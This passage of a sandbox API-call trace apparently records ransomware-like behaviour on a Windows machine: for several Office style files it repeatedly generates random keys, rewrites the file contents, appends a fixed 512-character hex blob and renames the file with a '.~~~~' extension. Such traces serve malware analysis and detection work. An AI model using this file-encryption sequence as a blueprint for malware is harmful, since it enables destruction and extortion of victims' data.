	[0133.312] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3573b0 | out: hHeap=0x300000) returned 1
	[0133.312] GetLastError () returned 0x0
	[0133.420] CryptAcquireContextA (in: phProv=0x24dfcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x24dfcdc*=0x3a1258) returned 1
	[0133.422] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x362bd0 | out: pbBuffer=0x362bd0) returned 1
	[0133.422] CryptReleaseContext (hProv=0x3a1258, dwFlags=0x0) returned 1
	[0133.422] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x362bd0 | out: hHeap=0x300000) returned 1
	[0133.422] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368b80
	[0133.422] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2878618
	[0133.423] QueryPerformanceCounter (in: lpPerformanceCount=0x24dfc48 | out: lpPerformanceCount=0x24dfc48*=25341267291) returned 1
	[0133.423] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x24dfc88 | out: lpSystemTimeAsFileTime=0x24dfc88*(dwLowDateTime=0xb8f8b0d0, dwHighDateTime=0x1d60e1e)) 
	[0133.423] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362440
	[0133.423] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362380
	[0133.423] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x356f78
	[0133.423] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x28242f0
	[0133.423] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0133.423] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28242f0 | out: hHeap=0x300000) returned 1
	[0133.423] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0133.423] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0133.423] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x398948
	[0133.423] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0133.423] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x3b1c08
	[0133.423] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x398948 | out: hHeap=0x300000) returned 1
	[0133.423] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x24dfb18) 
	[0133.424] GetLastError () returned 0x0
	[0133.424] RtlUnwind (TargetFrame=0x24dfc20, TargetIp=0x423f9b, ExceptionRecord=0x24df5dc, ReturnValue=0x0) 
	[0133.424] GetLastError () returned 0x0
	[0133.426] SetFilePointerEx (in: hFile=0x140, liDistanceToMove=0xfffff343, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0133.426] WriteFile (in: hFile=0x140, lpBuffer=0x2a520b8*, nNumberOfBytesToWrite=0xcbd, lpNumberOfBytesWritten=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x2a520b8*, lpNumberOfBytesWritten=0x24dfec0*=0xcbd, lpOverlapped=0x0) returned 1
	[0133.429] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2a520b8 | out: hHeap=0x300000) returned 1
	[0133.429] SetFilePointerEx (in: hFile=0x140, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0133.429] WriteFile (in: hFile=0x140, lpBuffer=0x368b80*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x368b80*, lpNumberOfBytesWritten=0x24dfec0*=0x8, lpOverlapped=0x0) returned 1
	[0133.429] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0133.429] WriteFile (in: hFile=0x140, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x24dfec0*=0x200, lpOverlapped=0x0) returned 1
	[0133.429] CloseHandle (hObject=0x140) returned 1
	[0133.429] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xd0) returned 0x28a7528
	[0133.429] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\GrooveForms5\\FormsStyles\\STS2\\HEADER.GIF" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\grooveforms5\\formsstyles\\sts2\\header.gif"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\GrooveForms5\\FormsStyles\\STS2\\HEADER.GIF.~~~~" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\grooveforms5\\formsstyles\\sts2\\header.gif.~~~~")) returned 1
	[0133.431] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28a7528 | out: hHeap=0x300000) returned 1
	[0133.431] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x356f78 | out: hHeap=0x300000) returned 1
	[0133.431] GetLastError () returned 0x0
	[0133.431] CryptAcquireContextA (in: phProv=0x24dfcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x24dfcdc*=0x3a1258) returned 1
	[0133.433] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x362bd0 | out: pbBuffer=0x362bd0) returned 1
	[0133.433] CryptReleaseContext (hProv=0x3a1258, dwFlags=0x0) returned 1
	[0133.433] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x362bd0 | out: hHeap=0x300000) returned 1
	[0133.433] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368b80
	[0133.433] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2878618
	[0133.433] QueryPerformanceCounter (in: lpPerformanceCount=0x24dfc48 | out: lpPerformanceCount=0x24dfc48*=25342303152) returned 1
	[0133.433] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x24dfc88 | out: lpSystemTimeAsFileTime=0x24dfc88*(dwLowDateTime=0xb8f8b0d0, dwHighDateTime=0x1d60e1e)) 
	[0133.433] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362380
	[0133.433] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362440
	[0133.433] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x356f78
	[0133.433] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x2824328
	[0133.433] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0133.433] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2824328 | out: hHeap=0x300000) returned 1
	[0133.433] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0133.433] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0133.434] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x398948
	[0133.434] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0133.434] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x3b1c08
	[0133.434] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x398948 | out: hHeap=0x300000) returned 1
	[0133.434] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x24dfb18) 
	[0133.434] GetLastError () returned 0x0
	[0133.434] RtlUnwind (TargetFrame=0x24dfc20, TargetIp=0x423f9b, ExceptionRecord=0x24df5dc, ReturnValue=0x0) 
	[0133.434] GetLastError () returned 0x0
	[0133.441] SetFilePointerEx (in: hFile=0x140, liDistanceToMove=0xfffff2fc, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0133.442] WriteFile (in: hFile=0x140, lpBuffer=0x2a520b8*, nNumberOfBytesToWrite=0xd04, lpNumberOfBytesWritten=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x2a520b8*, lpNumberOfBytesWritten=0x24dfec0*=0xd04, lpOverlapped=0x0) returned 1
	[0133.444] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2a520b8 | out: hHeap=0x300000) returned 1
	[0133.444] SetFilePointerEx (in: hFile=0x140, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0133.444] WriteFile (in: hFile=0x140, lpBuffer=0x368b80*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x368b80*, lpNumberOfBytesWritten=0x24dfec0*=0x8, lpOverlapped=0x0) returned 1
	[0133.444] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0133.444] WriteFile (in: hFile=0x140, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x24dfec0*=0x200, lpOverlapped=0x0) returned 1
	[0133.444] CloseHandle (hObject=0x140) returned 1
	[0133.445] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xc0) returned 0x2801498
	[0133.445] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\GrooveForms5\\FormsStyles\\Swirl.css" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\grooveforms5\\formsstyles\\swirl.css"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\GrooveForms5\\FormsStyles\\Swirl.css.~~~~" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\grooveforms5\\formsstyles\\swirl.css.~~~~")) returned 1
	[0133.447] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2801498 | out: hHeap=0x300000) returned 1
	[0133.447] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x356f78 | out: hHeap=0x300000) returned 1
	[0133.447] GetLastError () returned 0x0
	[0133.452] CryptAcquireContextA (in: phProv=0x24dfcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x24dfcdc*=0x3a1258) returned 1
	[0133.453] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x362bd0 | out: pbBuffer=0x362bd0) returned 1
	[0133.453] CryptReleaseContext (hProv=0x3a1258, dwFlags=0x0) returned 1
	[0133.453] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x362bd0 | out: hHeap=0x300000) returned 1
	[0133.454] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368b80
	[0133.454] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2878618
	[0133.454] QueryPerformanceCounter (in: lpPerformanceCount=0x24dfc48 | out: lpPerformanceCount=0x24dfc48*=25344378988) returned 1
	[0133.454] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x24dfc88 | out: lpSystemTimeAsFileTime=0x24dfc88*(dwLowDateTime=0xb8fd7390, dwHighDateTime=0x1d60e1e)) 
	[0133.454] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362440
	[0133.454] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362380
	[0133.454] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x356f78
	[0133.454] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x2824360
	[0133.454] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0133.454] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2824360 | out: hHeap=0x300000) returned 1
	[0133.454] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0133.454] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0133.454] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x398948
	[0133.454] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0133.454] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x3b1c08
	[0133.454] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x398948 | out: hHeap=0x300000) returned 1
	[0133.455] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x24dfb18) 
	[0133.455] GetLastError () returned 0x0
	[0133.455] RtlUnwind (TargetFrame=0x24dfc20, TargetIp=0x423f9b, ExceptionRecord=0x24df5dc, ReturnValue=0x0) 
	[0133.455] GetLastError () returned 0x0
	[0133.459] SetFilePointerEx (in: hFile=0x140, liDistanceToMove=0xfffff8c4, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0133.459] WriteFile (in: hFile=0x140, lpBuffer=0x28e6048*, nNumberOfBytesToWrite=0x73c, lpNumberOfBytesWritten=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x28e6048*, lpNumberOfBytesWritten=0x24dfec0*=0x73c, lpOverlapped=0x0) returned 1
	[0133.462] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28e6048 | out: hHeap=0x300000) returned 1
	[0133.462] SetFilePointerEx (in: hFile=0x140, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0133.462] WriteFile (in: hFile=0x140, lpBuffer=0x368b80*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x368b80*, lpNumberOfBytesWritten=0x24dfec0*=0x8, lpOverlapped=0x0) returned 1
	[0133.462] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0133.462] WriteFile (in: hFile=0x140, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x24dfec0*=0x200, lpOverlapped=0x0) returned 1
	[0133.462] CloseHandle (hObject=0x140) returned 1
	[0133.463] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xc0) returned 0x2801498
	[0133.463] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\GrooveForms5\\FormsStyles\\Teal.css" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\grooveforms5\\formsstyles\\teal.css"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\GrooveForms5\\FormsStyles\\Teal.css.~~~~" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\grooveforms5\\formsstyles\\teal.css.~~~~")) returned 1
	[0133.465] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2801498 | out: hHeap=0x300000) returned 1
	[0133.465] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x356f78 | out: hHeap=0x300000) returned 1
	[0133.465] GetLastError () returned 0x0
	[0133.466] CryptAcquireContextA (in: phProv=0x24dfcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x24dfcdc*=0x3a1258) returned 1
	[0133.467] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x362bd0 | out: pbBuffer=0x362bd0) returned 1
	[0133.467] CryptReleaseContext (hProv=0x3a1258, dwFlags=0x0) returned 1
	[0133.467] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x362bd0 | out: hHeap=0x300000) returned 1
	[0133.467] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368b80
	[0133.467] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2878618
	[0133.467] QueryPerformanceCounter (in: lpPerformanceCount=0x24dfc48 | out: lpPerformanceCount=0x24dfc48*=25345709682) returned 1
	[0133.467] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x24dfc88 | out: lpSystemTimeAsFileTime=0x24dfc88*(dwLowDateTime=0xb8ffd4f0, dwHighDateTime=0x1d60e1e)) 
	[0133.467] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362380
	[0133.467] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362440
	[0133.467] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x356f78
	[0133.467] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x2824398
	[0133.467] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0133.467] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2824398 | out: hHeap=0x300000) returned 1
	[0133.467] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0133.467] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0133.467] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x398948
	[0133.468] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0133.468] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x3b1c08
	[0133.468] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x398948 | out: hHeap=0x300000) returned 1
	[0133.468] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x24dfb18) 
	[0133.468] GetLastError () returned 0x0
	[0133.468] RtlUnwind (TargetFrame=0x24dfc20, TargetIp=0x423f9b, ExceptionRecord=0x24df5dc, ReturnValue=0x0) 
	[0133.468] GetLastError () returned 0x0
	[0133.470] SetFilePointerEx (in: hFile=0x140, liDistanceToMove=0xfffff8d9, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0133.470] WriteFile (in: hFile=0x140, lpBuffer=0x28e6048*, nNumberOfBytesToWrite=0x727, lpNumberOfBytesWritten=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x28e6048*, lpNumberOfBytesWritten=0x24dfec0*=0x727, lpOverlapped=0x0) returned 1
	[0133.473] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28e6048 | out: hHeap=0x300000) returned 1
	[0133.473] SetFilePointerEx (in: hFile=0x140, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0133.473] WriteFile (in: hFile=0x140, lpBuffer=0x368b80*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x368b80*, lpNumberOfBytesWritten=0x24dfec0*=0x8, lpOverlapped=0x0) returned 1
	[0133.473] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0133.473] WriteFile (in: hFile=0x140, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x24dfec0*=0x200, lpOverlapped=0x0) returned 1
	[0133.473] CloseHandle (hObject=0x140) returned 1
	[0133.473] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xd0) returned 0x28a7528
	[0133.474] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\GrooveForms5\\FormsStyles\\TexturedBlue.css" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\grooveforms5\\formsstyles\\texturedblue.css"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\GrooveForms5\\FormsStyles\\TexturedBlue.css.~~~~" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\grooveforms5\\formsstyles\\texturedblue.css.~~~~")) returned 1
	[0133.475] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28a7528 | out: hHeap=0x300000) returned 1
	[0133.476] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x356f78 | out: hHeap=0x300000) returned 1
	[0133.476] GetLastError () returned 0x0
	[0133.476] CryptAcquireContextA (in: phProv=0x24dfcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x24dfcdc*=0x3a1258) returned 1
	[0133.477] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x362bd0 | out: pbBuffer=0x362bd0) returned 1
	[0133.477] CryptReleaseContext (hProv=0x3a1258, dwFlags=0x0) returned 1
	[0133.477] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x362bd0 | out: hHeap=0x300000) returned 1
	[0133.477] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368b80
	[0133.477] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2878618
	[0133.477] QueryPerformanceCounter (in: lpPerformanceCount=0x24dfc48 | out: lpPerformanceCount=0x24dfc48*=25346748890) returned 1
	[0133.477] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x24dfc88 | out: lpSystemTimeAsFileTime=0x24dfc88*(dwLowDateTime=0xb8ffd4f0, dwHighDateTime=0x1d60e1e)) 
	[0133.477] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362440
	[0133.478] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362380
	[0133.478] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x356f78
	[0133.478] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x28243d0
	[0133.478] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0133.478] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28243d0 | out: hHeap=0x300000) returned 1
	[0133.478] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0133.478] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0133.478] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x398948
	[0133.478] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0133.478] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x3b1c08
	[0133.478] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x398948 | out: hHeap=0x300000) returned 1
	[0133.478] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x24dfb18) 
	[0133.478] GetLastError () returned 0x0
	[0133.479] RtlUnwind (TargetFrame=0x24dfc20, TargetIp=0x423f9b, ExceptionRecord=0x24df5dc, ReturnValue=0x0) 
	[0133.479] GetLastError () returned 0x0
	[0133.481] SetFilePointerEx (in: hFile=0x140, liDistanceToMove=0xfffff8ce, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0133.481] WriteFile (in: hFile=0x140, lpBuffer=0x28e6048*, nNumberOfBytesToWrite=0x732, lpNumberOfBytesWritten=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x28e6048*, lpNumberOfBytesWritten=0x24dfec0*=0x732, lpOverlapped=0x0) returned 1
	[0133.484] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28e6048 | out: hHeap=0x300000) returned 1
	[0133.484] SetFilePointerEx (in: hFile=0x140, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0133.485] WriteFile (in: hFile=0x140, lpBuffer=0x368b80*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x368b80*, lpNumberOfBytesWritten=0x24dfec0*=0x8, lpOverlapped=0x0) returned 1
	[0133.485] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0133.485] WriteFile (in: hFile=0x140, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x24dfec0*=0x200, lpOverlapped=0x0) returned 1
	[0133.485] CloseHandle (hObject=0x140) returned 1
	[0133.485] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xd0) returned 0x28a7528
